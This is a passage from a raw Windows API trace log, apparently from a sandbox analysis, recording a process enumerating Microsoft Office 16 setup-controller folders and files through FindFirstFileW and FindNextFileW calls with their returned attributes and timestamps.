lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd91b2540, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd91b2540, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd91b2540, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0064.760] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd91b2540, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd91b2540, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd91b2540, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.760] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb919d110, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd91b2540, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb919d110, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x1380, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64WW.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0064.760] GetLastError () returned 0x12 [0064.760] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0064.760] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0064.760] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe432eda0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe4485a00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe4485a00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNote.en-us", cAlternateFileName="ONENOT~1.EN-")) returned 1 [0064.760] GetLastError () returned 0x12 [0064.760] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\OneNote.en-us\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\office setup controller\\onenote.en-us\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe432eda0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe4485a00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe4485a00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0064.761] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe432eda0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe4485a00, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe4485a00, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.761] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd16f37a0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe432eda0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd16f37a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x719, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteMUI.XML", cAlternateFileName="ONENOT~1.XML")) returned 1 [0064.761] GetLastError () returned 0x12 [0064.761] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0064.761] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0064.761] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d9f3f00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0x31a76b60, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x6d9f3f00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x960aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSETUP.DLL", cAlternateFileName="")) returned 1 [0064.761] GetLastError () returned 0x12 [0064.761] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\OSM.en-us\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\office setup controller\\osm.en-us\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4fd4280, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe4fd4280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe4fd4280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0064.762] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4fd4280, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe4fd4280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe4fd4280, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.762] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1f22340, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe4fd4280, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f22340, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x463, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMMUI.XML", cAlternateFileName="")) returned 1 [0064.762] GetLastError () returned 0x12 [0064.763] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0064.763] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0064.763] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec582220, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xec582220, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xec582220, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMUX.en-us", cAlternateFileName="OSMUX~1.EN-")) returned 1 [0064.763] GetLastError () returned 0x12 [0064.763] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\OSMUX.en-us\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\office setup controller\\osmux.en-us\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec582220, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xec582220, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xec582220, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0064.764] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xec582220, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xec582220, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xec582220, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.764] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3209120, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xec582220, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd3209120, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSMUXMUI.XML", cAlternateFileName="")) returned 1 [0064.764] GetLastError () returned 0x12 [0064.764] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0064.764] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0064.764] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed2bfc80, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xed3f0780, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xed3f0780, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.en-us", cAlternateFileName="OUTLOO~1.EN-")) returned 1 [0064.764] GetLastError () returned 0x12 [0064.764] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\Outlook.en-us\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\office setup controller\\outlook.en-us\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed2bfc80, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xed3f0780, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xed3f0780, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0064.901] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed2bfc80, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xed3f0780, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xed3f0780, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.901] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd32c7800, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xed2bfc80, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd32c7800, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xb15, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0064.901] GetLastError () returned 0x12 [0064.901] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0064.902] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0064.902] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf218a000, ftCreationTime.dwHighDateTime=0x1d0cb1b, ftLastAccessTime.dwLowDateTime=0x31e2edc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xf218a000, ftLastWriteTime.dwHighDateTime=0x1d0cb1b, nFileSizeHigh=0x0, nFileSizeLow=0x137258, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0064.902] GetLastError () returned 0x12 [0064.902] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\PowerPoint.en-us\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\office setup controller\\powerpoint.en-us\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1f980, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeee91da0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeee91da0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0065.826] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1f980, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeee91da0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xeee91da0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.828] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd33f63c0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xeee1f980, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd33f63c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x67d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 1 [0065.831] GetLastError () returned 0x12 [0065.838] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0065.846] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0065.847] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe1fc6660, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe1fc6660, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe1fc6660, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0065.851] GetLastError () returned 0x12 [0065.864] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\Proof.en\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\office setup controller\\proof.en\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe1fc6660, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe1fc6660, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe1fc6660, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0065.882] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe1fc6660, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe1fc6660, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe1fc6660, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.884] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcacbb180, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe1fc6660, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcacbb180, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x613, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0065.888] GetLastError () returned 0x12 [0065.894] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0065.898] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0065.905] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e79860, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xf1e79860, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xf1e79860, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0065.909] GetLastError () returned 0x12 [0065.919] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\Proof.es\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\office setup controller\\proof.es\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e79860, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xf1e79860, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xf1e79860, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0065.938] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e79860, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xf1e79860, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xf1e79860, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.940] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb28f10, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xf1e79860, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcbb28f10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0065.943] GetLastError () returned 0x12 [0065.946] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0065.958] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0065.960] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe17256a0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe17256a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe17256a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0065.970] GetLastError () returned 0x12 [0065.971] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\Proof.fr\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\office setup controller\\proof.fr\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe17256a0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe17256a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe17256a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0065.983] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe17256a0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe17256a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe17256a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.988] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaeaab30, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe17256a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcaeaab30, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0065.989] GetLastError () returned 0x12 [0065.991] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0065.994] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0065.995] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe27cf0a0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe27cf0a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe27cf0a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1 [0066.006] GetLastError () returned 0x12 [0066.011] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\Proofing.en-us\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\office setup controller\\proofing.en-us\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe27cf0a0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe27cf0a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe27cf0a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d88a0 [0066.812] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe27cf0a0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe27cf0a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe27cf0a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.812] FindNextFileW (in: hFindFile=0x4d88a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcac6f690, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe27cf0a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xcac6f690, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0x0, dwReserved1=0x0, 